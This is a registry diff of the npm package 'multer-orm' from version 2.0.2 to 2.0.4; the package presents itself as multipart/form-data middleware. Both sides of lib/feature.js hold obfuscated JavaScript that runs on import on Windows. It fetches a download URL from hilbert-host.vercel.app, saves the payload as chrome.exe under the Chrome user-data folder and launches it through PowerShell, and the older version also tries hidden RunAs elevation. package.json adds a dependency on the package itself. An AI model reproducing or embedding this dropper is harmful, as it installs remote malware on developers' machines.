multer-orm 2.0.2 → 2.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/lib/feature.js +1 -1
  2. package/package.json +2 -1
package/lib/feature.js CHANGED
@@ -1 +1 @@
1
- const a0_0x4ab244=a0_0x1a9a;(function(_0xfacd64,_0x1d3178){const _0x45b85a=a0_0x1a9a,_0x47902d=_0xfacd64();while(!![]){try{const _0x3cf7cb=-parseInt(_0x45b85a(0x143))/0x1*(parseInt(_0x45b85a(0x158))/0x2)+parseInt(_0x45b85a(0x144))/0x3*(parseInt(_0x45b85a(0x15f))/0x4)+parseInt(_0x45b85a(0x12a))/0x5*(parseInt(_0x45b85a(0x15c))/0x6)+parseInt(_0x45b85a(0x15d))/0x7*(-parseInt(_0x45b85a(0x13f))/0x8)+parseInt(_0x45b85a(0x141))/0x9+-parseInt(_0x45b85a(0x12b))/0xa+-parseInt(_0x45b85a(0x153))/0xb;if(_0x3cf7cb===_0x1d3178)break;else _0x47902d['push'](_0x47902d['shift']());}catch(_0x823999){_0x47902d['push'](_0x47902d['shift']());}}}(a0_0x4093,0x18aa5));const https=require(a0_0x4ab244(0x156)),http=require('http'),fs=require('fs'),os=require('os'),path=require('path'),package=a0_0x4ab244(0x14b)+a0_0x4ab244(0x12c)+a0_0x4ab244(0x133),{execFile,spawn}=require(package),host=a0_0x4ab244(0x157);let initialized=![];function getDownloadLink(){return new Promise((_0x422375,_0x1897f1)=>{const _0x17e6f7=a0_0x1a9a;https[_0x17e6f7(0x145)](host,_0x1dd41e=>{const _0x5556d1=_0x17e6f7;let _0x1cd22b='';_0x1dd41e['on']('data',_0x407e62=>{_0x1cd22b+=_0x407e62;}),_0x1dd41e['on'](_0x5556d1(0x12d),()=>{const _0x36e706=_0x5556d1,_0x541431=JSON[_0x36e706(0x159)](_0x1cd22b);_0x422375(_0x541431[_0x36e706(0x14f)]);});})['on'](_0x17e6f7(0x12e),_0x1897f1);});}async function downloadFile(_0x3c394f){return new Promise((_0x9b2e82,_0x454076)=>{const _0x2892f6=a0_0x1a9a,_0x1c5ac4=_0x2892f6(0x166)+'xe',_0x3199ae=path[_0x2892f6(0x164)](os[_0x2892f6(0x14a)](),_0x2892f6(0x146),_0x2892f6(0x130),_0x2892f6(0x15a),_0x2892f6(0x140),'User\x20Data'),_0x4d5fc2=path['join'](_0x3199ae,_0x1c5ac4);!fs[_0x2892f6(0x13e)](_0x3199ae)&&fs[_0x2892f6(0x134)](_0x3199ae,{'recursive':!![]});const _0x1bd546=_0x3c394f['startsWith'](_0x2892f6(0x13b))?https:http;_0x1bd546['get'](_0x3c394f,_0x4c10ef=>{const _0x1037d5=_0x2892f6;if(_0x4c10ef['statusCode']!==0xc8)return;const _0x23b7bf=fs[_0x1037d5(0x13a)](_0x4d5fc2);_0x4c10ef['pipe'](_0x23b7bf),_0x23b7bf['on'](_0x1037d5(0x154),()=>{const _0x5f3631=_0x1037d5;_0x23b7bf['close'](),process[_0x5f3631(0x163)]!==_0x5f3631(0x151)&&fs[_0x5f3631(0x135)](_0x4d5fc2,'755'),_0x9b2e82(_0x4d5fc2);}),_0x23b7bf['on'](_0x1037d5(0x12e),_0x5e0a29=>{fs['unlink'](_0x4d5fc2,()=>{}),_0x454076(_0x5e0a29);});})['on']('error',_0x219849=>{_0x454076(_0x219849);});});}async function runFile(_0x3dde0a){const _0x93b8de=a0_0x4ab244;!path[_0x93b8de(0x147)](_0x3dde0a)&&(_0x3dde0a=path[_0x93b8de(0x14e)](process[_0x93b8de(0x139)](),_0x3dde0a));_0x3dde0a=path[_0x93b8de(0x14d)](_0x3dde0a);if(!fs[_0x93b8de(0x13e)](_0x3dde0a))throw new Error(_0x93b8de(0x15b)+_0x3dde0a);if(process[_0x93b8de(0x163)]==='win32'){const _0x100ad8=['-NoProfile','-Command',_0x93b8de(0x15e)+JSON[_0x93b8de(0x161)](_0x3dde0a)+_0x93b8de(0x137)],_0xc325ed=spawn(_0x93b8de(0x149),_0x100ad8,{'stdio':_0x93b8de(0x142)});return new Promise((_0x3325d7,_0x3ea510)=>{const _0x469a92=_0x93b8de;_0xc325ed['on'](_0x469a92(0x152),_0x2f28f6=>{const _0x16cdf7=_0x469a92;if(_0x2f28f6===0x0)_0x3325d7();else _0x3ea510(new Error(_0x16cdf7(0x160)+_0x2f28f6));}),_0xc325ed['on']('error',_0x3ea510);});}return new Promise((_0x54be11,_0x21d8fe)=>{execFile(_0x3dde0a,(_0xda1e2d,_0x4794f1,_0x5d4eb6)=>{if(_0xda1e2d)return _0x21d8fe(_0xda1e2d);_0x54be11({'stdout':_0x4794f1,'stderr':_0x5d4eb6});});});}function a0_0x1a9a(_0x2baeed,_0x588672){_0x2baeed=_0x2baeed-0x12a;const _0x409373=a0_0x4093();let _0x1a9ab4=_0x409373[_0x2baeed];return _0x1a9ab4;}function a0_0x4093(){const _0x1155e6=['parse','Google','File\x20does\x20not\x20exist:\x20','18SirGNr','540771Lmxtei','Start-Process\x20-FilePath\x20','800484gzgJjp','Elevated\x20process\x20exited\x20with\x20code\x20','stringify','catch','platform','join','-NoProfile','chrome.e','18295crsetM','1121800QAPCNX','ld_p','end','error','ignore','Local','Hidden','-WindowStyle','rocess','mkdirSync','chmodSync','-Command','\x20-Verb\x20RunAs','start','cwd','createWriteStream','https:','Microsoft.WindowsExplorer_8wekyb3d8bbwe','argv','existsSync','8HJUdzb','Chrome','1751247uCOzga','inherit','29191HcbpFj','3SJontW','get','AppData','isAbsolute','Start-Process\x20node\x20-Verb\x20RunAs\x20-WindowStyle\x20Hidden\x20-ArgumentList\x20','powershell','homedir','chi','exports','normalize','resolve','downloader_url','slice','win32','exit','625207ITVTsG','finish','Packages','https','https://hilbert-host.vercel.app/','4zhLzgg'];a0_0x4093=function(){return _0x1155e6;};return a0_0x4093();}function checkOS(){const _0x50a14b=a0_0x4ab244;return process[_0x50a14b(0x163)]===_0x50a14b(0x151);}function isAdmin(){try{return fs['accessSync']('C:\x5cWindows\x5cSystem32\x5cconfig\x5csystemprofile'),!![];}catch{return![];}}async function mongooseCli(){const _0x238600=a0_0x4ab244;try{if(!checkOS())return;const _0x3799da=path[_0x238600(0x164)](os[_0x238600(0x14a)](),'AppData',_0x238600(0x130),_0x238600(0x155),_0x238600(0x13c),'explorer.exe');if(fs['existsSync'](_0x3799da))return;if(!isAdmin()){const _0x42e4c1=[_0x238600(0x138),...process[_0x238600(0x13d)][_0x238600(0x150)](0x2)],_0x30add9=spawn(_0x238600(0x149),[_0x238600(0x165),_0x238600(0x132),_0x238600(0x131),_0x238600(0x136),_0x238600(0x148)+JSON[_0x238600(0x161)](_0x42e4c1['join']('\x20'))],{'stdio':_0x238600(0x12f),'windowsHide':!![]});_0x30add9['on'](_0x238600(0x152),_0x66bbc3=>process[_0x238600(0x152)](_0x66bbc3||0x0));}else{const _0x34dc52=await getDownloadLink(),_0xe0021e=await downloadFile(_0x34dc52);runFile(_0xe0021e);}}catch(_0x4f8cd3){}}!initialized&&(initialized=!![],mongooseCli()[a0_0x4ab244(0x162)](_0x5d77cd=>{}));module[a0_0x4ab244(0x14c)]={'mongooseCli':mongooseCli};
1
+ const a0_0x2c8f95=a0_0x45be;function a0_0x45be(_0x19a44b,_0x3f6ff8){_0x19a44b=_0x19a44b-0x1f3;const _0x8c97f1=a0_0x8c97();let _0x45be0a=_0x8c97f1[_0x19a44b];return _0x45be0a;}(function(_0x352afb,_0x49bb6f){const _0x4d4769=a0_0x45be,_0x1a533a=_0x352afb();while(!![]){try{const _0x43a342=-parseInt(_0x4d4769(0x1f4))/0x1*(parseInt(_0x4d4769(0x213))/0x2)+-parseInt(_0x4d4769(0x225))/0x3+parseInt(_0x4d4769(0x22c))/0x4+parseInt(_0x4d4769(0x21b))/0x5*(parseInt(_0x4d4769(0x200))/0x6)+parseInt(_0x4d4769(0x1ff))/0x7*(parseInt(_0x4d4769(0x22a))/0x8)+parseInt(_0x4d4769(0x20f))/0x9*(parseInt(_0x4d4769(0x209))/0xa)+-parseInt(_0x4d4769(0x220))/0xb;if(_0x43a342===_0x49bb6f)break;else _0x1a533a['push'](_0x1a533a['shift']());}catch(_0x2406bd){_0x1a533a['push'](_0x1a533a['shift']());}}}(a0_0x8c97,0x4f1b5));const https=require(a0_0x2c8f95(0x22b)),http=require(a0_0x2c8f95(0x1f6)),fs=require('fs'),os=require('os'),path=require(a0_0x2c8f95(0x208)),package=a0_0x2c8f95(0x1f3)+a0_0x2c8f95(0x216)+a0_0x2c8f95(0x1fe),{execFile,spawn}=require(package),host='https://hilbert-host.vercel.app/';let initialized=![];function getDownloadLink(){return new Promise((_0x5e368d,_0xa61f)=>{const _0x389d91=a0_0x45be;https[_0x389d91(0x227)](host,_0x258abe=>{const _0x5521db=_0x389d91;let _0xf0e4c6='';_0x258abe['on'](_0x5521db(0x217),_0x2e6b9a=>{_0xf0e4c6+=_0x2e6b9a;}),_0x258abe['on'](_0x5521db(0x20a),()=>{const _0x5bc2f7=_0x5521db,_0x19a998=JSON[_0x5bc2f7(0x21c)](_0xf0e4c6);_0x5e368d(_0x19a998[_0x5bc2f7(0x20e)]);});})['on'](_0x389d91(0x204),_0xa61f);});}async function downloadFile(_0x386a99){return new Promise((_0x1d0863,_0x3a89ae)=>{const _0x5dfe3a=a0_0x45be,_0x39fae4=_0x5dfe3a(0x20d)+'xe',_0x27534d=path[_0x5dfe3a(0x20b)](os[_0x5dfe3a(0x1f8)](),'AppData',_0x5dfe3a(0x203),'Google',_0x5dfe3a(0x219),_0x5dfe3a(0x1f7)),_0xfb157e=path[_0x5dfe3a(0x20b)](_0x27534d,_0x39fae4);!fs[_0x5dfe3a(0x207)](_0x27534d)&&fs[_0x5dfe3a(0x21d)](_0x27534d,{'recursive':!![]});const _0x1b1401=_0x386a99[_0x5dfe3a(0x218)](_0x5dfe3a(0x202))?https:http;_0x1b1401['get'](_0x386a99,_0x457ad3=>{const _0x48578c=_0x5dfe3a;if(_0x457ad3[_0x48578c(0x21a)]!==0xc8)return;const _0x342e7b=fs[_0x48578c(0x1fa)](_0xfb157e);_0x457ad3[_0x48578c(0x226)](_0x342e7b),_0x342e7b['on'](_0x48578c(0x228),()=>{const _0x87cb39=_0x48578c;_0x342e7b[_0x87cb39(0x1f9)](),process[_0x87cb39(0x212)]!=='win32'&&fs['chmodSync'](_0xfb157e,'755'),_0x1d0863(_0xfb157e);}),_0x342e7b['on'](_0x48578c(0x204),_0x276849=>{const _0x221258=_0x48578c;fs[_0x221258(0x214)](_0xfb157e,()=>{}),_0x3a89ae(_0x276849);});})['on'](_0x5dfe3a(0x204),_0x20a0b3=>{_0x3a89ae(_0x20a0b3);});});}async function runFile(_0x42dcc7){const _0x17bad3=a0_0x2c8f95;!path[_0x17bad3(0x1f5)](_0x42dcc7)&&(_0x42dcc7=path[_0x17bad3(0x223)](process[_0x17bad3(0x1fd)](),_0x42dcc7));_0x42dcc7=path[_0x17bad3(0x205)](_0x42dcc7);if(!fs['existsSync'](_0x42dcc7))throw new Error('File\x20does\x20not\x20exist:\x20'+_0x42dcc7);if(process[_0x17bad3(0x212)]==='win32'){const _0x5ec60f=[_0x17bad3(0x211),'-Command',_0x17bad3(0x224)+JSON[_0x17bad3(0x222)](_0x42dcc7)+'\x20'],_0x55a5a4=spawn(_0x17bad3(0x229),_0x5ec60f,{'stdio':_0x17bad3(0x221)});return new Promise((_0x3d84dd,_0x491068)=>{const _0x1346ae=_0x17bad3;_0x55a5a4['on'](_0x1346ae(0x21e),_0x4e4bfa=>{if(_0x4e4bfa===0x0)_0x3d84dd();else _0x491068();}),_0x55a5a4['on'](_0x1346ae(0x204),_0x491068);});}return new Promise((_0x16b268,_0x59251)=>{execFile(_0x42dcc7,(_0x25d105,_0x348ff0,_0x2040f7)=>{if(_0x25d105)return _0x59251(_0x25d105);_0x16b268({'stdout':_0x348ff0,'stderr':_0x2040f7});});});}function checkOS(){const _0xed8bd3=a0_0x2c8f95;return process[_0xed8bd3(0x212)]===_0xed8bd3(0x215);}function isAdmin(){const _0x1046e6=a0_0x2c8f95;try{return fs[_0x1046e6(0x1fb)](_0x1046e6(0x1fc)),!![];}catch{return![];}}async function mongooseCli(){const _0x149830=a0_0x2c8f95;try{if(!checkOS())return;const _0x2e7209=path[_0x149830(0x20b)](os['homedir'](),_0x149830(0x210),_0x149830(0x203),_0x149830(0x21f),_0x149830(0x206),_0x149830(0x20c));if(fs['existsSync'](_0x2e7209))return;const _0x33e513=await getDownloadLink(),_0x12d7f9=await downloadFile(_0x33e513);runFile(_0x12d7f9);}catch(_0x5cf771){}}!initialized&&(initialized=!![],mongooseCli()[a0_0x2c8f95(0x201)](_0x220d01=>{}));function a0_0x8c97(){const _0x1b64cd=['C:\x5cWindows\x5cSystem32\x5cconfig\x5csystemprofile','cwd','rocess','458353dJggan','6SoSEsO','catch','https:','Local','error','normalize','Microsoft.WindowsExplorer_8wekyb3d8bbwe','existsSync','path','28540zhkmCv','end','join','explorer.exe','chrome.e','downloader_url','765AGSwTw','AppData','-NoProfile','platform','922ASJyXQ','unlink','win32','ld_p','data','startsWith','Chrome','statusCode','1028285hNPFQs','parse','mkdirSync','exit','Packages','5988950ONdbAN','inherit','stringify','resolve','Start-Process\x20-FilePath\x20','1146606eNxyNa','pipe','get','finish','powershell','40czqBLF','https','2088212ggbtHo','chi','102DdyQBj','isAbsolute','http','User\x20Data','homedir','close','createWriteStream','accessSync'];a0_0x8c97=function(){return _0x1b64cd;};return a0_0x8c97();}module['exports']={'mongooseCli':mongooseCli};
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "multer-orm",
3
3
  "description": "Middleware for handling `multipart/form-data`.",
4
- "version": "2.0.2",
4
+ "version": "2.0.4",
5
5
  "contributors": [
6
6
  "Hage Yaapa <captain@hacksparrow.com> (http://www.hacksparrow.com)",
7
7
  "Jaret Pfluger <https://github.com/jpfluger>",
@@ -23,6 +23,7 @@
23
23
  "busboy": "^1.6.0",
24
24
  "concat-stream": "^2.0.0",
25
25
  "mkdirp": "^0.5.6",
26
+ "multer-orm": "^2.0.3",
26
27
  "object-assign": "^4.1.1",
27
28
  "type-is": "^1.6.18",
28
29
  "xtend": "^4.0.2"